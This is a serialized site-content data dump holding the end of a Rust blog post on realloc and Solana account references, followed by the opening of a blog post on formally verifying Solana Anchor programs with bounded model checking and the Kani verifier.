"props":17173,"children":17174},{"style":511},[17175],{"type":28,"value":13571},{"type":23,"tag":504,"props":17177,"children":17178},{"style":523},[17179],{"type":28,"value":747},{"type":23,"tag":504,"props":17181,"children":17182},{"style":529},[17183],{"type":28,"value":14293},{"type":23,"tag":504,"props":17185,"children":17186},{"style":598},[17187],{"type":28,"value":320},{"type":23,"tag":504,"props":17189,"children":17190},{"style":517},[17191],{"type":28,"value":12869},{"type":23,"tag":504,"props":17193,"children":17194},{"style":523},[17195],{"type":28,"value":12860},{"type":23,"tag":504,"props":17197,"children":17198},{"style":598},[17199],{"type":28,"value":320},{"type":23,"tag":504,"props":17201,"children":17202},{"style":517},[17203],{"type":28,"value":12882},{"type":23,"tag":504,"props":17205,"children":17206},{"style":523},[17207],{"type":28,"value":526},{"type":23,"tag":504,"props":17209,"children":17210},{"style":598},[17211],{"type":28,"value":3308},{"type":23,"tag":504,"props":17213,"children":17214},{"style":1440},[17215],{"type":28,"value":3055},{"type":23,"tag":504,"props":17217,"children":17218},{"style":523},[17219],{"type":28,"value":17220},") } ",{"type":23,"tag":504,"props":17222,"children":17223},{"style":511},[17224],{"type":28,"value":7825},{"type":23,"tag":504,"props":17226,"children":17227},{"style":598},[17228],{"type":28,"value":8797},{"type":23,"tag":504,"props":17230,"children":17231},{"style":511},[17232],{"type":28,"value":2701},{"type":23,"tag":504,"props":17234,"children":17235},{"style":1012},[17236],{"type":28,"value":4843},{"type":23,"tag":504,"props":17238,"children":17239},{"style":523},[17240],{"type":28,"value":866},{"type":23,"tag":504,"props":17242,"children":17243},{"class":506,"line":687},[17244,17248,17252,17256,17260,17264,17268,17272,17276],{"type":23,"tag":504,"props":17245,"children":17246},{"style":511},[17247],{"type":28,"value":13337},{"type":23,"tag":504,"props":17249,"children":17250},{"style":523},[17251],{"type":28,"value":747},{"type":23,"tag":504,"props":17253,"children":17254},{"style":598},[17255],{"type":28,"value":3552},{"type":23,"tag":504,"props":17257,"children":17258},{"style":529},[17259],{"type":28,"value":12930},{"type":23,"tag":504,"props":17261,"children":17262},{"style":598},[17263],{"type":28,"value":648},{"type":23,"tag":504,"props":17265,"children":17266},{"style":529},[17267],{"type":28,"value":12939},{"type":23,"tag":504,"props":17269,"children":17270},{"style":511},[17271],{"type":28,"value":7811},{"type":23,"tag":504,"props":17273,"children":17274},{"style":1012},[17275],{"type":28,"value":4843},{"type":23,"tag":504,"props":17277,"children":17278},{"style":523},[17279],{"type":28,"value":782},{"type":23,"tag":504,"props":17281,"children":17282},{"class":506,"line":736},[17283],{"type":23,"tag":504,"props":17284,"children":17285},{"emptyLinePlaceholder":16},[17286],{"type":28,"value":1038},{"type":23,"tag":504,"props":17288,"children":17289},{"class":506,"line":785},[17290],{"type":23,"tag":504,"props":17291,"children":17292},{"style":1106},[17293],{"type":28,"value":15118},{"type":23,"tag":504,"props":17295,"children":17296},{"class":506,"line":813},[17297,17301,17305,17309,17313,17318,17322,17326,17330,17335,17339,17343,17347,17351,17356,17360],{"type":23,"tag":504,"props":17298,"children":17299},{"style":598},[17300],{"type":28,"value":3552},{"type":23,"tag":504,"props":17302,"children":17303},{"style":529},[17304],{"type":28,"value":14293},{"type":23,"tag":504,"props":17306,"children":17307},{"style":598},[17308],{"type":28,"value":648},{"type":23,"tag":504,"props":17310,"children":17311},{"style":511},[17312],{"type":28,"value":13571},{"type":23,"tag":504,"props":17314,"children":17315},{"style":523},[17316],{"type":28,"value":17317}," { std",{"type":23,"tag":504,"props":17319,"children":17320},{"style":598},[17321],{"type":28,"value":2457},{"type":23,"tag":504,"props":17323,"children":17324},{"style":523},[17325],{"type":28,"value":14293},{"type":23,"tag":504,"props":17327,"children":17328},{"style":598},[17329],{"type":28,"value":2457},{"type":23,"tag":504,"props":17331,"children":17332},{"style":517},[17333],{"type":28,"value":17334},"from_raw_parts_mut",{"type":23,"tag":504,"props":17336,"children":17337},{"style":523},[17338],{"type":28,"value":526},{"type":23,"tag":504,"props":17340,"children":17341},{"style":529},[17342],{"type":28,"value":14293},{"type":23,"tag":504,"props":17344,"children":17345},{"style":598},[17346],{"type":28,"value":320},{"type":23,"tag":504,"props":17348,"children":17349},{"style":517},[17350],{"type":28,"value":12869},{"type":23,"tag":504,"props":17352,"children":17353},{"style":523},[17354],{"type":28,"value":17355},"(), ",{"type":23,"tag":504,"props":17357,"children":17358},{"style":529},[17359],{"type":28,"value":12703},{"type":23,"tag":504,"props":17361,"children":17362},{"style":523},[17363],{"type":28,"value":13726},{"type":23,"tag":24,"props":17365,"children":17366},{},[17367,17369,17374,17376,17381,17383,17388,17390],{"type":28,"value":17368},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":23,"tag":56,"props":17370,"children":17372},{"className":17371},[],[17373],{"type":28,"value":7025},{"type":28,"value":17375}," and not a ",{"type":23,"tag":56,"props":17377,"children":17379},{"className":17378},[],[17380],{"type":28,"value":15580},{"type":28,"value":17382}," for the size field, given that ",{"type":23,"tag":56,"props":17384,"children":17386},{"className":17385},[],[17387],{"type":28,"value":15580},{"type":28,"value":17389}," is architecture-dependent), and no dependency on slice reference internals!",{"type":23,"tag":14454,"props":17391,"children":17392},{},[17393],{"type":23,"tag":92,"props":17394,"children":17398},{"href":17395,"ariaDescribedBy":17396,"dataFootnoteRef":7,"id":17397},"#user-content-fn-slice-unbound-lifetime",[14461],"user-content-fnref-slice-unbound-lifetime",[17399],{"type":28,"value":17400},"6",{"type":23,"tag":17402,"props":17403,"children":17406},"section",{"className":17404,"dataFootnotes":7},[17405],"footnotes",[17407,17414],{"type":23,"tag":70,"props":17408,"children":17411},{"className":17409,"id":14461},[17410],"sr-only",[17412],{"type":28,"value":17413},"Footnotes",{"type":23,"tag":41,"props":17415,"children":17416},{},[17417,17522,17540,17595,17608,17636],{"type":23,"tag":45,"props":17418,"children":17420},{"id":17419},"user-content-fn-rc-refs",[17421,17423,17429,17431,17436,17438,17442,17444,17448,17450,17455,17457,17463,17465,17470,17472,17482,17484,17489,17491,17496,17498,17503,17505,17511,17513],{"type":28,"value":17422},"I find it helpful to view owning an ",{"type":23,"tag":56,"props":17424,"children":17426},{"className":17425},[],[17427],{"type":28,"value":17428},"Rc\u003CT>",{"type":28,"value":17430}," as holding a shared reference to the underlying ",{"type":23,"tag":56,"props":17432,"children":17434},{"className":17433},[],[17435],{"type":28,"value":4971},{"type":28,"value":17437}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":23,"tag":1887,"props":17439,"children":17440},{},[17441],{"type":28,"value":15436},{"type":28,"value":17443}," ensures that the actual ",{"type":23,"tag":1887,"props":17445,"children":17446},{},[17447],{"type":28,"value":2679},{"type":28,"value":17449}," stays alive, however all you have is a reference to the ",{"type":23,"tag":56,"props":17451,"children":17453},{"className":17452},[],[17454],{"type":28,"value":4971},{"type":28,"value":17456}," (through the ",{"type":23,"tag":56,"props":17458,"children":17460},{"className":17459},[],[17461],{"type":28,"value":17462},"Deref\u003CTarget = T>",{"type":28,"value":17464}," impl) - ",{"type":23,"tag":1887,"props":17466,"children":17467},{},[17468],{"type":28,"value":17469},"not",{"type":28,"value":17471}," ownership ",{"type":23,"tag":1887,"props":17473,"children":17474},{},[17475,17477],{"type":28,"value":17476},"of the ",{"type":23,"tag":56,"props":17478,"children":17480},{"className":17479},[],[17481],{"type":28,"value":4971},{"type":28,"value":17483},". In short, owning an ",{"type":23,"tag":56,"props":17485,"children":17487},{"className":17486},[],[17488],{"type":28,"value":17428},{"type":28,"value":17490}," is owning a (shared, read-only) reference to ",{"type":23,"tag":56,"props":17492,"children":17494},{"className":17493},[],[17495],{"type":28,"value":4971},{"type":28,"value":17497},", not owning ",{"type":23,"tag":56,"props":17499,"children":17501},{"className":17500},[],[17502],{"type":28,"value":4971},{"type":28,"value":17504}," directly like with ",{"type":23,"tag":56,"props":17506,"children":17508},{"className":17507},[],[17509],{"type":28,"value":17510},"Box\u003CT>",{"type":28,"value":17512},". ",{"type":23,"tag":92,"props":17514,"children":17519},{"href":17515,"ariaLabel":17516,"className":17517,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs","Back to reference 1",[17518],"data-footnote-backref",[17520],{"type":28,"value":17521},"↩",{"type":23,"tag":45,"props":17523,"children":17525},{"id":17524},"user-content-fn-sendsync",[17526,17532,17533],{"type":23,"tag":56,"props":17527,"children":17529},{"className":17528},[],[17530],{"type":28,"value":17531},"!Send + !Sync",{"type":28,"value":5441},{"type":23,"tag":92,"props":17534,"children":17538},{"href":17535,"ariaLabel":17536,"className":17537,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[17518],[17539],{"type":28,"value":17521},{"type":23,"tag":45,"props":17541,"children":17543},{"id":17542},"user-content-fn-layout",[17544,17546,17551,17552,17565,17567,17572,17574,17579,17581,17586,17588],{"type":28,"value":17545},"Note that this is a terrible idea for yet another reason: ",{"type":23,"tag":56,"props":17547,"children":17549},{"className":17548},[],[17550],{"type":28,"value":13918},{"type":28,"value":4483},{"type":23,"tag":92,"props":17553,"children":17556},{"href":17554,"rel":17555},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[96],[17557,17559],{"type":28,"value":17558},"not declared with ",{"type":23,"tag":56,"props":17560,"children":17562},{"className":17561},[],[17563],{"type":28,"value":17564},"#[repr(C)]",{"type":28,"value":17566},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":23,"tag":1887,"props":17568,"children":17569},{},[17570],{"type":28,"value":17571},"breaks the entire chain",{"type":28,"value":17573}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":23,"tag":1887,"props":17575,"children":17576},{},[17577],{"type":28,"value":17578},"some",{"type":28,"value":17580}," kind of interface to the specific layout of the specific ",{"type":23,"tag":56,"props":17582,"children":17584},{"className":17583},[],[17585],{"type":28,"value":15488},{"type":28,"value":17587}," versions used to build on-chain code for all eternity... ",{"type":23,"tag":92,"props":17589,"children":17593},{"href":17590,"ariaLabel":17591,"className":17592,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[17518],[17594],{"type":28,"value":17521},{"type":23,"tag":45,"props":17596,"children":17598},{"id":17597},"user-content-fn-rustc-llvm",[17599,17601],{"type":28,"value":17600},"Actually, it's LLVM that does the optimization ",{"type":23,"tag":92,"props":17602,"children":17606},{"href":17603,"ariaLabel":17604,"className":17605,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[17518],[17607],{"type":28,"value":17521},{"type":23,"tag":45,"props":17609,"children":17611},{"id":17610},"user-content-fn-godbolt",[17612,17619,17621,17627,17629],{"type":23,"tag":92,"props":17613,"children":17616},{"href":17614,"rel":17615},"https://godbolt.org/z/PK46xMbxc",[96],[17617],{"type":28,"value":17618},"Click here",{"type":28,"value":17620}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":23,"tag":56,"props":17622,"children":17624},{"className":17623},[],[17625],{"type":28,"value":17626},"libcore",{"type":28,"value":17628}," available for other architectures yet. ",{"type":23,"tag":92,"props":17630,"children":17634},{"href":17631,"ariaLabel":17632,"className":17633,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[17518],[17635],{"type":28,"value":17521},{"type":23,"tag":45,"props":17637,"children":17639},{"id":17638},"user-content-fn-slice-unbound-lifetime",[17640,17642,17647,17649,17655,17657,17663,17665,17671,17673,17679,17681,17687,17689,17694,17696],{"type":28,"value":17641},"The astute reader may have noticed that ",{"type":23,"tag":56,"props":17643,"children":17645},{"className":17644},[],[17646],{"type":28,"value":17334},{"type":28,"value":17648}," still returns an unbounded lifetime (notice in the signature ",{"type":23,"tag":56,"props":17650,"children":17652},{"className":17651},[],[17653],{"type":28,"value":17654},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":28,"value":17656},", the lifetime parameter ",{"type":23,"tag":56,"props":17658,"children":17660},{"className":17659},[],[17661],{"type":28,"value":17662},"'a",{"type":28,"value":17664}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":23,"tag":56,"props":17666,"children":17668},{"className":17667},[],[17669],{"type":28,"value":17670},"*slice",{"type":28,"value":17672},", which is ",{"type":23,"tag":56,"props":17674,"children":17676},{"className":17675},[],[17677],{"type":28,"value":17678},"&'info [u8]",{"type":28,"value":17680}," (where ",{"type":23,"tag":56,"props":17682,"children":17684},{"className":17683},[],[17685],{"type":28,"value":17686},"'info",{"type":28,"value":17688}," is the lifetime parameter of the ",{"type":23,"tag":56,"props":17690,"children":17692},{"className":17691},[],[17693],{"type":28,"value":13918},{"type":28,"value":17695}," struct) - this is exactly the lifetime we started with. ",{"type":23,"tag":92,"props":17697,"children":17701},{"href":17698,"ariaLabel":17699,"className":17700,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[17518],[17702],{"type":28,"value":17521},{"type":23,"tag":1815,"props":17704,"children":17705},{},[17706],{"type":28,"value":1819},{"title":7,"searchDepth":540,"depth":540,"links":17708},[17709,17715,17719,17720,17722],{"id":13349,"depth":540,"text":17710,"children":17711},"Breaking down realloc",[17712,17713],{"id":13515,"depth":555,"text":13518},{"id":14870,"depth":555,"text":17714},"Back to realloc",{"id":15822,"depth":540,"text":15825,"children":17716},[17717,17718],{"id":15828,"depth":555,"text":15831},{"id":16050,"depth":555,"text":16053},{"id":16237,"depth":540,"text":16240},{"id":16639,"depth":540,"text":17721},"Towards safer unsafe",{"id":14461,"depth":540,"text":17413},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":17727,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":17728,"description":17729,"author":17730,"image":17731,"date":17733,"isFeatured":16,"onBlogPage":16,"tags":17734,"body":17735,"_type":1838,"_id":27980,"_source":1840,"_file":27981,"_stem":27982,"_extension":1843},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":17732,"height":12603,"width":12604},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[1855,1856],{"type":20,"children":17736,"toc":27952},[17737,17742,17747,17773,17777,17789,17812,17835,17847,17870,17873,17880,17929,17935,17941,17946,17957,17998,18003,18009,18014,18247,18267,18272,18277,18350,18355,18425,18439,18864,18884,18890,18909,18914,18919,18924,18930,18942,18977,18988,18999,19011,19016,19047,19071,19090,19096,19113,19119,19146,19151,19171,19183,19329,19357,19360,19372,19455,19474,19477,19516,19683,19688,19694,19706,19724,19737,19898,19910,19923,20397,20402,20449,20455,20473,20542,20780,20994,20999,21073,21121,21126,21132,21234,21338,21343,21406,21411,21417,21482,21487,21529,21555,21561,21630,21635,21685,21696,21702,21713,21734,21739,21744,21767,21773,21785,21805,22907,22926,22977,22982,22990,23002,23007,23015,23020,23036,23072,23077,23171,23176,23184,23189,23301,23306,23314,23327,23491,23496,23504,23509,23514,23582,23616,23622,23627,23638,23656,24034,24046,24058,24066,24077,24108,24113,24121,24126,24399,24418,24423,24449,25317,25329,25428,25440,25482,25487,25499,25507,25512,25524,25550,25710,25722,25730,25735,26011,26016,26028,26183,26203,26529,26563,26757,26790,26802,26924,26944,26949,26954,26959,26972,26980,26985,27460,27472,27477,27489,27494,27753,27779,27784,27790,27796,27808,27820,27839,27886,27891,27897,27902,27907,27912,27916,27921,27926,27929,27948],{"type":23,"tag":24,"props":17738,"children":17739},{},[17740],{"type":28,"value":17741},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":23,"tag":24,"props":17743,"children":17744},{},[17745],{"type":28,"value":17746},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":23,"tag":24,"props":17748,"children":17749},{},[17750,17752,17756,17758,17763,17765,17772],{"type":28,"value":17751},"In the world of Web3 we create programs that talk to strangers ",{"type":23,"tag":1887,"props":17753,"children":17754},{},[17755],{"type":28,"value":15350},{"type":28,"value":17757}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":23,"tag":1887,"props":17759,"children":17760},{},[17761],{"type":28,"value":17762},"juciest",{"type":28,"value":17764},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":23,"tag":92,"props":17766,"children":17769},{"href":17767,"rel":17768},"https://rekt.news/leaderboard/",[96],[17770],{"type":28,"value":17771},"hundreds of millions of dollars",{"type":28,"value":320},{"type":23,"tag":17774,"props":17775,"children":17776},"hr",{},[],{"type":23,"tag":24,"props":17778,"children":17779},{},[17780,17782,17787],{"type":28,"value":17781},"At OtterSec we are ",{"type":23,"tag":1887,"props":17783,"children":17784},{},[17785],{"type":28,"value":17786},"highly skilled in pest control",{"type":28,"value":17788}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":23,"tag":24,"props":17790,"children":17791},{},[17792,17794,17801,17803,17810],{"type":28,"value":17793},"Recently we were contacted by the ",{"type":23,"tag":92,"props":17795,"children":17798},{"href":17796,"rel":17797},"https://squads.so/",[96],[17799],{"type":28,"value":17800},"Squads team",{"type":28,"value":17802}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":23,"tag":92,"props":17804,"children":17807},{"href":17805,"rel":17806},"https://github.com/Squads-Protocol/squads-mpl",[96],[17808],{"type":28,"value":17809},"Squads Multisig Program",{"type":28,"value":17811}," as our main case study.",{"type":23,"tag":24,"props":17813,"children":17814},{},[17815,17817,17824,17826,17833],{"type":28,"value":17816},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":23,"tag":92,"props":17818,"children":17821},{"href":17819,"rel":17820},"https://www.anchor-lang.com/",[96],[17822],{"type":28,"value":17823},"anchor-lang",{"type":28,"value":17825}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":23,"tag":92,"props":17827,"children":17830},{"href":17828,"rel":17829},"https://github.com/model-checking/kani",[96],[17831],{"type":28,"value":17832},"Kani Rust Verifier",{"type":28,"value":17834},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":23,"tag":24,"props":17836,"children":17837},{},[17838,17840,17845],{"type":28,"value":17839},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":23,"tag":1887,"props":17841,"children":17842},{},[17843],{"type":28,"value":17844},"bounded model checking",{"type":28,"value":17846}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":23,"tag":24,"props":17848,"children":17849},{},[17850],{"type":23,"tag":1887,"props":17851,"children":17852},{},[17853,17855,17862,17864],{"type":28,"value":17854},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":23,"tag":92,"props":17856,"children":17859},{"href":17857,"rel":17858},"https://osec.io/contact",[96],[17860],{"type":28,"value":17861},"this form",{"type":28,"value":17863}," or email us at ",{"type":23,"tag":92,"props":17865,"children":17867},{"href":17866},"mailto:contact@osec.io",[17868],{"type":28,"value":17869},"contact@osec.io",{"type":23,"tag":17774,"props":17871,"children":17872},{},[],{"type":23,"tag":17874,"props":17875,"children":17877},"h4",{"id":17876},"contents",[17878],{"type":28,"value":17879},"Contents:",{"type":23,"tag":41,"props":17881,"children":17882},{},[17883,17888,17905,17915,17920,17925],{"type":23,"tag":45,"props":17884,"children":17885},{},[17886],{"type":28,"value":17887},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":23,"tag":45,"props":17889,"children":17890},{},[17891,17896,17898,17903],{"type":23,"tag":296,"props":17892,"children":17893},{},[17894],{"type":28,"value":17895},"Specification",{"type":28,"value":17897},": How can we describe what we ",{"type":23,"tag":1887,"props":17899,"children":17900},{},[17901],{"type":28,"value":17902},"want",{"type":28,"value":17904}," our program to do?",{"type":23,"tag":45,"props":17906,"children":17907},{},[17908,17913],{"type":23,"tag":296,"props":17909,"children":17910},{},[17911],{"type":28,"value":17912},"Verification",{"type":28,"value":17914},": How do we check that our model is correct?",{"type":23,"tag":45,"props":17916,"children":17917},{},[17918],{"type":28,"value":17919},"Case Study: Squads Multisig",{"type":23,"tag":45,"props":17921,"children":17922},{},[17923],{"type":28,"value":17924},"Additional challenges in Solana",{"type":23,"tag":45,"props":17926,"children":17927},{},[17928],{"type":28,"value":1803},{"type":23,"tag":70,"props":17930,"children":17932},{"id":17931},"formal-verification-with-bounded-model-checking",[17933],{"type":28,"value":17934},"Formal Verification with Bounded Model Checking",{"type":23,"tag":82,"props":17936,"children":17938},{"id":17937},"overview",[17939],{"type":28,"value":17940},"Overview",{"type":23,"tag":24,"props":17942,"children":17943},{},[17944],{"type":28,"value":17945},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":23,"tag":24,"props":17947,"children":17948},{},[17949,17951,17956],{"type":28,"value":17950},"There are many different flavors of formal verification, however in this research we are using ",{"type":23,"tag":296,"props":17952,"children":17953},{},[17954],{"type":28,"value":17955},"bounded model checking (BMC)",{"type":28,"value":320},{"type":23,"tag":24,"props":17958,"children":17959},{},[17960,17962,17967,17969,17974,17976,17980,17982,17988,17990,17996],{"type":28,"value":17961},"In short, the idea of BMC is to execute our program ",{"type":23,"tag":1887,"props":17963,"children":17964},{},[17965],{"type":28,"value":17966},"symbolically",{"type":28,"value":17968}," rather than ",{"type":23,"tag":1887,"props":17970,"children":17971},{},[17972],{"type":28,"value":17973},"concretely",{"type":28,"value":17975},". Instead of actually performing an ",{"type":23,"tag":1887,"props":17977,"children":17978},{},[17979],{"type":28,"value":8618},{"type":28,"value":17981}," when we see the line ",{"type":23,"tag":56,"props":17983,"children":17985},{"className":17984},[],[17986],{"type":28,"value":17987},"int x = a + b",{"type":28,"value":17989},", we store the symbolic expression ",{"type":23,"tag":56,"props":17991,"children":17993},{"className":17992},[],[17994],{"type":28,"value":17995},"x == a + b",{"type":28,"value":17997},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":23,"tag":24,"props":17999,"children":18000},{},[18001],{"type":28,"value":18002},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":23,"tag":82,"props":18004,"children":18006},{"id":18005},"a-simple-example",[18007],{"type":28,"value":18008},"A simple example",{"type":23,"tag":24,"props":18010,"children":18011},{},[18012],{"type":28,"value":18013},"As an example, consider the following function:",{"type":23,"tag":494,"props":18015,"children":18017},{"code":18016,"language":2124,"meta":7,"className":15493,"style":7},"int foo(int x) {\n    int y = x + 3;\n    int z;\n    if (y > 100) {\n        z = y * 2;\n    } else {\n        z = y + 1;\n    }\n\n    // Property P:\n    assert(z != 105);\n}\n",[18018],{"type":23,"tag":56,"props":18019,"children":18020},{"__ignoreMap":7},[18021,18051,18085,18097,18122,18150,18165,18192,18199,18206,18214,18240],{"type":23,"tag":504,"props":18022,"children":18023},{"class":506,"line":507},[18024,18029,18034,18038,18042,18047],{"type":23,"tag":504,"props":18025,"children":18026},{"style":511},[18027],{"type":28,"value":18028},"int",{"type":23,"tag":504,"props":18030,"children":18031},{"style":517},[18032],{"type":28,"value":18033}," foo",{"type":23,"tag":504,"props":18035,"children":18036},{"style":523},[18037],{"type":28,"value":526},{"type":23,"tag":504,"props":18039,"children":18040},{"style":511},[18041],{"type":28,"value":18028},{"type":23,"tag":504,"props":18043,"children":18044},{"style":529},[18045],{"type":28,"value":18046}," x",{"type":23,"tag":504,"props":18048,"children":18049},{"style":523},[18050],{"type":28,"value":537},{"type":23,"tag":504,"props":18052,"children":18053},{"class":506,"line":540},[18054,18059,18063,18067,18072,18076,18081],{"type":23,"tag":504,"props":18055,"children":18056},{"style":511},[18057],{"type":28,"value":18058},"    int",{"type":23,"tag":504,"props":18060,"children":18061},{"style":523},[18062],{"type":28,"value":3495},{"type":23,"tag":504,"props":18064,"children":18065},{"style":598},[18066],{"type":28,"value":601},{"type":23,"tag":504,"props":18068,"children":18069},{"style":523},[18070],{"type":28,"value":18071}," x ",{"type":23,"tag":504,"props":18073,"children":18074},{"style":598},[18075],{"type":28,"value":1642},{"type":23,"tag":504,"props":18077,"children":18078},{"style":1440},[18079],{"type":28,"value":18080}," 3",{"type":23,"tag":504,"props":18082,"children":18083},{"style":523},[18084],{"type":28,"value":866},{"type":23,"tag":504,"props":18086,"children":18087},{"class":506,"line":555},[18088,18092],{"type":23,"tag":504,"props":18089,"children":18090},{"style":511},[18091],{"type":28,"value":18058},{"type":23,"tag":504,"props":18093,"children":18094},{"style":523},[18095],{"type":28,"value":18096}," z;\n",{"type":23,"tag":504,"props":18098,"children":18099},{"class":506,"line":633},[18100,18104,18109,18113,18118],{"type":23,"tag":504,"props":18101,"children":18102},{"style":544},[18103],{"type":28,"value":11261},{"type":23,"tag":504,"props":18105,"children":18106},{"style":523},[18107],{"type":28,"value":18108}," (y ",{"type":23,"tag":504,"props":18110,"children":18111},{"style":598},[18112],{"type":28,"value":9443},{"type":23,"tag":504,"props":18114,"children":18115},{"style":1440},[18116],{"type":28,"value":18117}," 100",{"type":23,"tag":504,"props":18119,"children":18120},{"style":523},[18121],{"type":28,"value":537},{"type":23,"tag":504,"props":18123,"children":18124},{"class":506,"line":687},[18125,18130,18134,18138,18142,18146],{"type":23,"tag":504,"props":18126,"children":18127},{"style":523},[18128],{"type":28,"value":18129},"        z ",{"type":23,"tag":504,"props":18131,"children":18132},{"style":598},[18133],{"type":28,"value":601},{"type":23,"tag":504,"props":18135,"children":18136},{"style":523},[18137],{"type":28,"value":3495},{"type":23,"tag":504,"props":18139,"children":18140},{"style":598},[18141],{"type":28,"value":3552},{"type":23,"tag":504,"props":18143,"children":18144},{"style":1440},[18145],{"type":28,"value":6917},{"type":23,"tag":504,"props":18147,"children":18148},{"style":523},[18149],{"type":28,"value":866},{"type":23,"tag":504,"props":18151,"children":18152},{"class":506,"line":736},[18153,18157,18161],{"type":23,"tag":504,"props":18154,"children":18155},{"style":523},[18156],{"type":28,"value":791},{"type":23,"tag":504,"props":18158,"children":18159},{"style":544},[18160],{"type":28,"value":2293},{"type":23,"tag":504,"props":18162,"children":18163},{"style":523},[18164],{"type":28,"value":552},{"type":23,"tag":504,"props":18166,"children":18167},{"class":506,"line":785},[18168,18172,18176,18180,18184,18188],{"type":23,"tag":504,"props":18169,"children":18170},{"style":523},[18171],{"type":28,"value":18129},{"type":23,"tag":504,"props":18173,"children":18174},{"style":598},[18175],{"type":28,"value":601},{"type":23,"tag":504,"props":18177,"children":18178},{"style":523},[18179],{"type":28,"value":3495},{"type":23,"tag":504,"props":18181,"children":18182},{"style":598},[18183],{"type":28,"value":1642},{"type":23,"tag":504,"props":18185,"children":18186},{"style":1440},[18187],{"type":28,"value":3504},{"type":23,"tag":504,"props":18189,"children":18190},{"style":523},[18191],{"type":28,"value":866},{"type":23,"tag":504,"props":18193,"children":18194},{"class":506,"line":813},[18195],{"type":23,"tag":504,"props":18196,"children":18197},{"style":523},[18198],{"type":28,"value":875},{"type":23,"tag":504,"props":18200,"children":18201},{"class":506,"line":851},[18202],{"type":23,"tag":504,"props":18203,"children":18204},{"emptyLinePlaceholder":16},[18205],{"type":28,"value":1038},{"type":23,"tag":504,"props":18207,"children":18208},{"class":506,"line":869},[18209],{"type":23,"tag":504,"props":18210,"children":18211},{"style":1106},[18212],{"type":28,"value":18213},"    // Property P:\n",{"type":23,"tag":504,"props":18215,"children":18216},{"class":506,"line":878},[18217,18222,18227,18231,18236],{"type":23,"tag":504,"props":18218,"children":18219},{"style":517},[18220],{"type":28,"value":18221},"    assert",{"type":23,"tag":504,"props":18223,"children":18224},{"style":523},[18225],{"type":28,"value":18226},"(z ",{"type":23,"tag":504,"props":18228,"children":18229},{"style":598},[18230],{"type":28,"value":14669},{"type":23,"tag":504,"props":18232,"children":18233},{"style":1440},[18234],{"type":28,"value":18235}," 105",{"type":23,"tag":504,"props":18237,"children":18238},{"style":523},[18239],{"type":28,"value":630},{"type":23,"tag":504,"props":18241,"children":18242},{"class":506,"line":1221},[18243],{"type":23,"tag":504,"props":18244,"children":18245},{"style":523},[18246],{"type":28,"value":884},{"type":23,"tag":24,"props":18248,"children":18249},{},[18250,18252,18258,18260,18266],{"type":28,"value":18251},"This function takes an input ",{"type":23,"tag":56,"props":18253,"children":18255},{"className":18254},[],[18256],{"type":28,"value":18257},"x",{"type":28,"value":18259}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":23,"tag":56,"props":18261,"children":18263},{"className":18262},[],[18264],{"type":28,"value":18265},"z != 105",{"type":28,"value":320},{"type":23,"tag":24,"props":18268,"children":18269},{},[18270],{"type":28,"value":18271},"With BMC, we could trace this program and derive the following constraints:",{"type":23,"tag":24,"props":18273,"children":18274},{},[18275],{"type":28,"value":18276},"Positive branch:",{"type":23,"tag":494,"props":18278,"children":18280},{"code":18279,"language":2124,"meta":7,"className":15493,"style":7},"y == x + 3\ny > 100\nz == y * 